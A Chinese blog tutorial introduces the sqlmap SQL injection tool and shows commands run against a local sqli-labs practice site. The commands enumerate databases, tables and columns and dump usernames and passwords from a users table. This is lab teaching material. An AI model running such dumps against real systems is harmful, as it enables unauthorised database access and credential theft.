SQL注入-Sqlmap

本文介绍了Sqlmap,一个Python编写的开源工具,用于自动化检测SQL注入漏洞并获取数据库权限。通过一系列命令行操作,展示了如何使用Sqlmap查询数据库名、表名、字段和记录。
摘要由CSDN通过智能技术生成

仅供学习参考!!!

SQL注入神器Sqlmap

Sqlmap 是一个使用 python 语言开发的开源的渗透测试工具,可以用来进行自动化检测,利用 SQL 注入 漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的 功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操 作系统命令。

sqlmap的使用

解压出来后,配置环境变量,可以在任何地方使用sqlmap

找到系统变量中的Path点击编辑将sqlmap的路径添加上去即可

进入命令行界面

输入sqlmap.py即可运行

启动靶场复制url

查询数据库名

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs

-u  指定url

--dbs 获取数据库名

可以看到执行完命令会自动查询数据库名

查询表名

查询security的表名

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables

-D 代表数据库后面跟数据库名

--tables 代表要查询所有表名

查字段

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

-T 代表表,后面跟表名

--columns 代表要查询字段

查字段记录

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C id,username,password --dump

--dump :拖库,意思是将数据库的记录显示出来
其他更多用法参考下面
中文手册: https://github.com/kvko/sqlmap-wiki-zhcn/releases
常见用法: https://blog.csdn.net/wn314/article/details/78872828
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

捞虾米

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值